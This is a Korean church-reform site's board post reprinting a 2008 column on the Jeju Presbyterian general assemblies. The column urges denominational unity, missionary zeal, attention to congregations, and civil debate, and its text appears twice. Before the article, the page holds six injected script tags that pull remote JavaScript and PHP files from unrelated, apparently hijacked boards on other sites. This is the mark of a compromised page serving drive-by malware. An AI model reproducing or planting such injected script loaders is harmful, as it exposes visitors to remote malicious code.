칼럼 [정운형 칼럼] 제주 장로교단 총회에 바란다[기독신문09/16]
페이지 정보
작성자 by 관리자 / 작성일08-10-01 10:56 / 조회 4,813 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> [시론] 제주 장로교단 총회에 바란다
2008년 09월 16일 (화)
정운형 사무국장(교회개혁실천연대)
2004년 <한국교회 연합주소록>에 따르면 한국교회에는 176개의 교단이 있다. 그 중 장로교가 140개의 교단으로 등재되어 있다. 이것은 분열된 장로교의 현주소를 선명하게 보여주는 것이다. 한국교회는 선교 120여년이라는 시간을 보내며 폭발적 성장을 이루어왔다. 그러나 그 이면에는 분열과 갈등이라는 상처도 더욱 커져왔음을 우리는 부인할 수 없다. 이에 대한 아픔을 느끼는 많은 성도들이 분열된 장로교단의 하나됨을 위해 기도하고 있다. 이런 면에서 이번 주요 장로교단의 제주도 총회와 연합예배는 교회사의 한 획을 그을 만큼 큰 의미가 있다고 본다. 장로교단의 제주총회가 하나됨을 위한 의미있는 첫 걸음이 되길 바라며 몇 가지 제언을 드리는 바이다.
첫째, 연합(union)하는 총회가 되길 바란다. 교단의 분열사를 들여다보면 정치적 이해관계에 따른 분열이 적지 않았음을 우리는 알고 있다. 신학적, 신앙고백적 차이로 인한 것이야 어쩔 수 없었다 치더라도 정치적 관계에 따른 분열에 대해서는 반성이 필요하다. 더구나 이러한 분열은 장로교단이 무분별하게 난립할 수 있는 적합한 토양을 만들었음을 알아야 한다. 이번 제주에서 총회 기간 중 4개의 장로교단은 수요일 저녁에 연합예배로 모인다. 우리는 이 예배가 그리스도 안에서 하나됨을 확인하는 자리이길 바라며, 연합과 일치를 향한 의미 있는 소중한 첫걸음이 되길 간절히 소망한다.
둘째, 제주 선교 100주년을 기념하는 총회답게 신앙 선조들의 선교적 정신을 계승할 수 있는 총회가 되었으면 한다. 1907년 9월 조선예수교장로회 독노회가 설립된 이후 가장 크게 관심을 가진 사업이 바로 해외선교였다. 그들은 바로 그 이듬해 최초의 해외선교사인 이기풍 목사를 제주로 파송했다. 그러나 선교 100년이 지난 제주의 현재 복음화율은 7.5%에 지나지 않는다. 제주교회가 그간 지리적 여건 등으로 한국교회의 관심과 지원을 받지 못한 것이 사실이다. 제주선교를 위해서는 개별 교단이 아닌 전체 교계 차원의 관심과 지원이 필요하다. 모든 교단이 연합하여 일시적인 선교지원이 아닌 장기적이고도 실제적인 선교지원을 모색해야 할 것이다. 이번 제주총회를 계기로, 열악한 여건에도 불구하고 복음에 빚진 자의 마음으로 선교사를 파송했던 신앙 선조들의 선교적 정신을 되찾기를 기대한다.
셋째, 개교회와 성도들의 뜻이 반영되는 총회가 되길 바란다. 총회를 참관할 때마다 각 교단의 총회가 성도들이나 개별교회들로부터 고립되어있다는 느낌을 받는다. 개별교회가 목회현장에서 맞이하는 장애물이나, 성도들의 신앙생활에 있어서의 어려움들을 해결하는데 필요한 안건들이 별로 없기 때문이다. 간혹 있다 해도 깊이 있게 논의되지 않는 것을 보았다. 종교개혁 이후로 채택된 장로교회 정치 구조인 ‘대의정치’가 제대로 작동되지 않고 있는 것이다. 총회에서 논의되는 사안들이 정치적 입장에서 다뤄지기보다는 성도들과 개교회 목회자의 입장에서 진지하고 깊이 있게 논의되길 바란다.
마지막으로, 총대들 간의 소통이 이뤄지는 총회가 되길 바란다. 인터넷 생중계가 이뤄지고 난 이후로 줄어들긴 했지만, 본회의 도중 총대들의 폭언과 고성, 몸싸움, 야유 등이 아직까지 눈에 띤다. 나와 의견이 다른 발언에 대한 분노 때문일 것이다. 총회(總會)가 진정 회의(會議)라면, 내 의견만을 주장할 것이 아니라 모든 의견을 나누어 가장 좋은 길을 택하는 모습을 보여야 한다. 의원들 간에 소통하지 않으면 회의는 진행될 수 없다. 진정한 소통은 내 의견을 주장하여 관찰시키는 것이 아니라, 다른 의견을 듣고 이해하는 것에서부터 출발할 것이다. 이번 제주총회가 생산적 논의가 이루어지고 한국 교회를 위해 가장 좋은 길을 찾는 총회가 되길 기대한다.
1907년 전국 7개의 대리회를 가진 독노회로 출발한 조선예수교장로회는 이제 100년의 역사를 넘겼다. 장로교단은 그 100년을 지내면서 수적인 부흥과 더불어 대형교단으로서의 거대한 조직을 가지게 되었다. 이번 총회를 통해 100년 역사와 규모에 걸 맞는 성숙한 장로교단의 모습을 볼 수 있기를 바란다.
2008년 09월 16일 (화)
정운형 사무국장(교회개혁실천연대)
2004년 <한국교회 연합주소록>에 따르면 한국교회에는 176개의 교단이 있다. 그 중 장로교가 140개의 교단으로 등재되어 있다. 이것은 분열된 장로교의 현주소를 선명하게 보여주는 것이다. 한국교회는 선교 120여년이라는 시간을 보내며 폭발적 성장을 이루어왔다. 그러나 그 이면에는 분열과 갈등이라는 상처도 더욱 커져왔음을 우리는 부인할 수 없다. 이에 대한 아픔을 느끼는 많은 성도들이 분열된 장로교단의 하나됨을 위해 기도하고 있다. 이런 면에서 이번 주요 장로교단의 제주도 총회와 연합예배는 교회사의 한 획을 그을 만큼 큰 의미가 있다고 본다. 장로교단의 제주총회가 하나됨을 위한 의미있는 첫 걸음이 되길 바라며 몇 가지 제언을 드리는 바이다.
첫째, 연합(union)하는 총회가 되길 바란다. 교단의 분열사를 들여다보면 정치적 이해관계에 따른 분열이 적지 않았음을 우리는 알고 있다. 신학적, 신앙고백적 차이로 인한 것이야 어쩔 수 없었다 치더라도 정치적 관계에 따른 분열에 대해서는 반성이 필요하다. 더구나 이러한 분열은 장로교단이 무분별하게 난립할 수 있는 적합한 토양을 만들었음을 알아야 한다. 이번 제주에서 총회 기간 중 4개의 장로교단은 수요일 저녁에 연합예배로 모인다. 우리는 이 예배가 그리스도 안에서 하나됨을 확인하는 자리이길 바라며, 연합과 일치를 향한 의미 있는 소중한 첫걸음이 되길 간절히 소망한다.
둘째, 제주 선교 100주년을 기념하는 총회답게 신앙 선조들의 선교적 정신을 계승할 수 있는 총회가 되었으면 한다. 1907년 9월 조선예수교장로회 독노회가 설립된 이후 가장 크게 관심을 가진 사업이 바로 해외선교였다. 그들은 바로 그 이듬해 최초의 해외선교사인 이기풍 목사를 제주로 파송했다. 그러나 선교 100년이 지난 제주의 현재 복음화율은 7.5%에 지나지 않는다. 제주교회가 그간 지리적 여건 등으로 한국교회의 관심과 지원을 받지 못한 것이 사실이다. 제주선교를 위해서는 개별 교단이 아닌 전체 교계 차원의 관심과 지원이 필요하다. 모든 교단이 연합하여 일시적인 선교지원이 아닌 장기적이고도 실제적인 선교지원을 모색해야 할 것이다. 이번 제주총회를 계기로, 열악한 여건에도 불구하고 복음에 빚진 자의 마음으로 선교사를 파송했던 신앙 선조들의 선교적 정신을 되찾기를 기대한다.
셋째, 개교회와 성도들의 뜻이 반영되는 총회가 되길 바란다. 총회를 참관할 때마다 각 교단의 총회가 성도들이나 개별교회들로부터 고립되어있다는 느낌을 받는다. 개별교회가 목회현장에서 맞이하는 장애물이나, 성도들의 신앙생활에 있어서의 어려움들을 해결하는데 필요한 안건들이 별로 없기 때문이다. 간혹 있다 해도 깊이 있게 논의되지 않는 것을 보았다. 종교개혁 이후로 채택된 장로교회 정치 구조인 ‘대의정치’가 제대로 작동되지 않고 있는 것이다. 총회에서 논의되는 사안들이 정치적 입장에서 다뤄지기보다는 성도들과 개교회 목회자의 입장에서 진지하고 깊이 있게 논의되길 바란다.
마지막으로, 총대들 간의 소통이 이뤄지는 총회가 되길 바란다. 인터넷 생중계가 이뤄지고 난 이후로 줄어들긴 했지만, 본회의 도중 총대들의 폭언과 고성, 몸싸움, 야유 등이 아직까지 눈에 띤다. 나와 의견이 다른 발언에 대한 분노 때문일 것이다. 총회(總會)가 진정 회의(會議)라면, 내 의견만을 주장할 것이 아니라 모든 의견을 나누어 가장 좋은 길을 택하는 모습을 보여야 한다. 의원들 간에 소통하지 않으면 회의는 진행될 수 없다. 진정한 소통은 내 의견을 주장하여 관찰시키는 것이 아니라, 다른 의견을 듣고 이해하는 것에서부터 출발할 것이다. 이번 제주총회가 생산적 논의가 이루어지고 한국 교회를 위해 가장 좋은 길을 찾는 총회가 되길 기대한다.
1907년 전국 7개의 대리회를 가진 독노회로 출발한 조선예수교장로회는 이제 100년의 역사를 넘겼다. 장로교단은 그 100년을 지내면서 수적인 부흥과 더불어 대형교단으로서의 거대한 조직을 가지게 되었다. 이번 총회를 통해 100년 역사와 규모에 걸 맞는 성숙한 장로교단의 모습을 볼 수 있기를 바란다.